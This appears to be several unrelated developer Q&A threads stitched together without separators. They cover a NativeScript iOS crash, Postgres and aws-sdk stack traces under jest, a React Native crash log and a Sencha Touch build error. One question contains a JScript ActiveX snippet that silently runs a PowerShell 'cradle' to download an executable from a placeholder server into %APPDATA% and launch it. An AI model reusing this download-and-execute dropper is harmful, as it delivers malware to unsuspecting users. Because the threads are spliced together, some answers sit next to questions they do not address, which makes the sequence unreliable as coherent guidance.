For some reason I get this error when I'm building on iOS on my mac.
***** Fatal JavaScript exception - application has been terminated. *****
NativeScript encountered a fatal error: Uncaught ReferenceError: __UI_USE_EXTERNAL_RENDERER__ is not defined
at
(file: src/packages/core/bundle-entry-points.ts:7:0)
at ../node_modules/#nativescript/core/bundle-entry-points.js(file:///app/vendor.js:2442:30)
at __webpack_require__(file: src/webpack/bootstrap:816:0)
at fn(file: src/webpack/bootstrap:120:0)
at (file: src/main.ts:1:35)
at ./main.ts(file:///app/bundle.js:6855:30)
at __webpack_require__(file: src/webpack/bootstrap:816:0)
at checkDeferredModules(file: src/webpack/bootstrap:43:0)
at webpackJsonpCallback(file: src/webpack/bootstrap:30:0)
at (file:///app/bundle.js:2:57)
at require(:1:137)
(CoreFoundation) *** Terminating app due to uncaught exception 'NativeScript encountered a fatal error: Uncaught ReferenceError: __UI_USE_EXTERNAL_RENDERER__ is not defined
at
(file: src/packages/core/bundle-entry-points.ts:7:0)
at ../node_modules/#nativescript/core/bundle-entry-points.js(file:///app/vendor.js:2442:30)
at __webpack_require__(file: src/webpack/bootstrap:816:0)
at fn(file: src/webpack/bootstrap:120:0)
at (file: src/main.ts:1:35)
at ./main.ts(file:///app/bundle.js:6855:30)
at __webpack_require__(file: src/webpack/bootstrap:816:0)
at checkDeferredModules(file: src/webpack/bootstrap:43:0)
at webpackJsonpCallback(file: src/webpack/bootstrap:30:0)
at (file:///app/bundle.js:2:57)
at require(:1:137)
', reason: '(null)'
*** First throw call stack:
(
0 CoreFoundation 0x00007fff20422fba __exceptionPreprocess + 242
1 libobjc.A.dylib 0x00007fff20193ff5 objc_exception_throw + 48
2 NativeScript 0x0000000106c2d914 _ZN3tns21NativeScriptException15OnUncaughtErrorEN2v8<…>
Yesterday it worked perfectly fine, so I'm kind of surprised to see an error. I tried cleaning the platforms and upgrading to a newer version, but nothing works.
Nothing has changed for as much as I know.
I also tried testing it with other branches, and even there I get this error.
Any suggestions?
Maybe is a problem with your version of #nativescript/webpack, if you migrated to NativeScript 8.1 you should update your version of #nativescript/webpack to 5.0.0 as pointed here
I am currently debugging some tests written with jest over typescript and I'm having a bit of a headache.
If a test, or tested class, runs Postgres SQL and there is an error in the query, I get the wrong stack trace, for example, this:
error: invalid input syntax for type integer: ""0""
at Parser.parseErrorMessage (/Users/sklivvz/src/xxx/node_modules/pg-protocol/src/parser.ts:369:69)
at Parser.handlePacket (/Users/sklivvz/src/xxx/node_modules/pg-protocol/src/parser.ts:188:21)
at Parser.parse (/Users/sklivvz/src/xxx/node_modules/pg-protocol/src/parser.ts:103:30)
at Socket.<anonymous> (/Users/sklivvz/src/xxx/node_modules/pg-protocol/src/index.ts:7:48)
at Socket.emit (node:events:365:28)
at addChunk (node:internal/streams/readable:314:12)
at readableAddChunk (node:internal/streams/readable:289:9)
at Socket.Readable.push (node:internal/streams/readable:228:10)
at TCP.onStreamRead (node:internal/stream_base_commons:190:23)
The "error" line is very useful, however, the stack trace only tells me that the error was thrown by the pg-protocol driver. I would like to know which line within my code generated the error.
I am exactly 82.7% sure that this is due to PG's query being async.
It is incredibly time-consuming having to step debug or (gasp) console.log my way to each error when it would only be a matter of showing the correct call stack in order to make it better.
Has anyone found a way of making this developer-friendly?
Check if this is related to brianc/node-postgres issue 2484
is (there) a preferred package, extension, or method for providing more detail when you get a syntax error back from the parser?
(for instance, one that listed line number, column of the error)
for instance, right now:
error: syntax error at or near "as"
at Parser.parseErrorMessage (/home/collspec/projects/staff-portal/sprint-server/node_modules/pg-protocol/dist/parser.js:278:15)
desired behavior:
error: syntax error at or near "as", line 5, column 7
at Parser.parseErrorMessage (/home/collspec/projects/staff-portal/sprint-server/node_modules/pg-protocol/dist/parser.js:278:15)
Possible workaround from that issue:
There are a bunch of additional fields on Error objects populated by the driver.
If you log the error object you can see them. They correspond to the error fields returned by the server:
For example with the command:
SELECT foo
FROM bar
You can get an error like this:
{
length: 102,
severity: 'ERROR',
code: '42P01',
detail: undefined,
hint: undefined,
position: '17',
internalPosition: undefined,
internalQuery: undefined,
where: undefined,
schema: undefined,
table: undefined,
column: undefined,
dataType: undefined,
constraint: undefined,
file: 'parse_relation.c',
line: '1180',
routine: 'parserOpenTable'
}
The one you want is position. It gives you the character offset in the SQL of the error.
In this example the position value of "17" refers to the start of the bar token in the SQL.
It's not always populated though as it depends on what caused the error (generally just parse errors).
I ran into a similar issue with aws-sdk for DynamoDb. This is a stacktrace I usually get from aws-sdk.
ResourceNotFoundException: Requested resource not found
at Request.extractError (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\protocol\json.js:52:27)
at Request.callListeners (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\sequential_executor.js:106:20)
at Request.emit (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\sequential_executor.js:78:10)
at Request.emit (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\request.js:688:14)
at Request.transition (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\request.js:22:10)
at AcceptorStateMachine.runTo (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\state_machine.js:14:12)
at D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\state_machine.js:26:10
at Request.<anonymous> (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\request.js:38:9)
at Request.<anonymous> (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\request.js:690:12)
at Request.callListeners (D:\workspaces\typescript-starters\console-app\node_modules\aws-sdk\lib\sequential_executor.js:116:18)
My workaround is simply to catch async errors, and overwrite their stack traces. On the other hand, you may append Postgres stacktrace, or error message to your own errors.
async function getPersonFromDb (personId: string): Promise<DocumentClient.AttributeMap | undefined> {
const result = await documentClient.get({ // Similar to postgres.query()
TableName: 'wrong-name',
Key: { pk: personId, sk: personId }
}).promise().catch(error => {
Error.captureStackTrace(error)
throw error
})
return result.Item
}
test('Get a person from DynamoDB', async () => {
const person = await getPersonFromDb('hello')
expect(person).not.toBeUndefined()
})
// ========= new stacktrace ========
Error: Requested resource not found
at D:\workspaces\typescript-starters\console-app\test\abc.test.ts:12:13
at processTicksAndRejections (internal/process/task_queues.js:93:5)
at getPersonFromDb (D:\workspaces\typescript-starters\console-app\test\abc.test.ts:8:20)
at Object.<anonymous> (D:\workspaces\typescript-starters\console-app\test\abc.test.ts:18:20) // my code, and where my error is thrown
I was trying to use the following javascript to run a powershell cradle
var sh = new ActiveXObject("wscript.shell");
sh.run("PowerShell -command (New-Object System.Net.WebClient).DownloadFile('https://server/file.exe',"$env:APPDATA\file.exe");Start-Process ("$env:APPDATA\file.exe"))",0);
but I get the error message box and don't understand what can be the error
Script: file path
Line: 3
Char: 103
Error: Expected ')'
Code: 800A03EE
Source: Microsoft JScript compilation error
Thank you
When I run the same app from codepush built with jenkins, it always crash after performing a specific set of action. But when I try to debug this same app by building locally, through Android Studio/Xcode, with an emu or with a phone, this same error doesnt occur.
This is the error I get by from the android studio when running the version downloaded from bitly
08-01 12:27:11.980 1103-1119/? I/WindowManager: addWindow: window=Window{266f386 u0
Application Error: com.driverapp.dev}
08-01 12:27:11.980 1103-1124/? I/WindowManager: Focus moving from null to Window{266f386 u0
Application Error: com.driverapp.dev}
08-01 12:27:11.980 1103-1124/? I/WindowManager: Gaining focus: Window{266f386 u0 Application
Error: com.driverapp.dev}
08-01 12:27:11.987 9010-9010/? D/ActivityThread: ACT-AM_ON_PAUSE_CALLED
ActivityRecord{3894976 token=android.os.BinderProxy#d1a6b77
{com.driverapp.dev/com.driverapp.MainActivity}}
08-01 12:27:11.991 5344-5344/? D/CrashHandler-UserSubmitReceiver: description: Process:
com.driverapp.dev
Flags: 0x38c8be44
Package: com.driverapp.dev v32 (1.1.28)
Build: LeEco/Le2_CN1/le_x6:6.0/
com.facebook.react.common.JavascriptException: undefined is not an object (evaluating 'f.seed'), stack:
<unknown>#939:615
a#2:850
<unknown>#2:392
t#2:399
<unknown>#938:43
a#2:850
<unknown>#2:322
t#2:399
#934:4748
value#934:4993
......
at com.facebook.react.modules.core.ExceptionsManagerModule.showOrThrowError(ExceptionsManagerModule.java:56)
at com.facebook.react.modules.core.ExceptionsManagerModule.reportFatalException(ExceptionsManagerModule.java:40)
at java.lang.reflect.Method.invoke(Native Method)
at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:374)
at com.facebook.
08-01 12:27:11.992 5344-5344/? D/CrashHandler-MatcherString: match1: name: sh >>> sh
<<<|match2: signal 13 \(SIGPIPE\)|description: Process: com.driverapp.dev
Flags: 0x38c8be44
Package: com.driverapp.dev v32 (1.1.28)
Build: LeEco/Le2_CN1/le_x6:6.0/
I can't figure out what the error is. Any help is very much appreciated.
Using touch 2.1.0 and Cmd 3.1.2.342
Whilst trying to create a production version of my sencha app, I get the following error:
[WRN] C1003: Unsupported Ext.define syntax -- C:\wamp\www\touch-2.1.0\axis\nativ
e\appname\touch\src\fx\TimingFunctions.js:109
[ERR] C2008: Requirement had no matching files (Ext.fx.TimingFunctions) -- C:\wa
mp\www\touch-2.1.0\axis\native\appname\touch\src\fx\Abstract.js:959
[ERR] The following error occurred while executing this line:
C:\wamp\www\touch-2.1.0\axis\native\appname.sencha\app\build-impl.xml:165:
It seems to me that it is saying a file called fx/TimingFunctions.js is required by fx/Abstract.js but cannot be found. However, this can't be what it means as the file exists in that folder.
The command I am using is:
sencha app build production
Line 109 of TimingFunctions.js looks like this:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
singleton: true,...
One solution is to change line 109 of TimingFunctions.js from:
Ext.define('Ext.fx.TimingFunctions', Ext.apply({
to:
Ext.define('Ext.fx.TimingFunctions', {
and change line 136 of the same file from:
}, EasingPrototype));
to:
}, EasingPrototype);
This then allows the build to go ahead.
However, when I then view the production app in the web browser, it freezes and I get the following error
Uncaught TypeError: Object # has no method 'call' process sencha-touch-all-debug.js:6767
(anonymous function) process sencha-touch-all-debug.js:6774
(anonymous function) sencha-touch-all-debug.js:6779
Ext.apply.onBeforeCreated sencha-touch-all-debug.js:5196
process sencha-touch-all-debug.js:5262
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
process sencha-touch-all-debug.js:5268
Ext.apply.process sencha-touch-all-debug.js:5272
Ext.Class.ExtClass sencha-touch-all-debug.js:5183
Ext.ClassManager.create sencha-touch-all-debug.js:6725
Ext.apply.define sencha-touch-all-debug.js:7407
(anonymous function) TimingFunctions.js?_dc=1379403994382:109
(anonymous function) TimingFunctions.js?_dc=1379403994382:138
There was a spelling mistake in the files fx/Abstract.js and fx/TimingFunctions.js
Actually, it's not a spelling mistake - more like a grammatical error.
Abstract.js calls a function in TimingFunctions.js. in Abstract.js it is referred to as EasingMap, where as in TimingFunctions.js it is called easingMap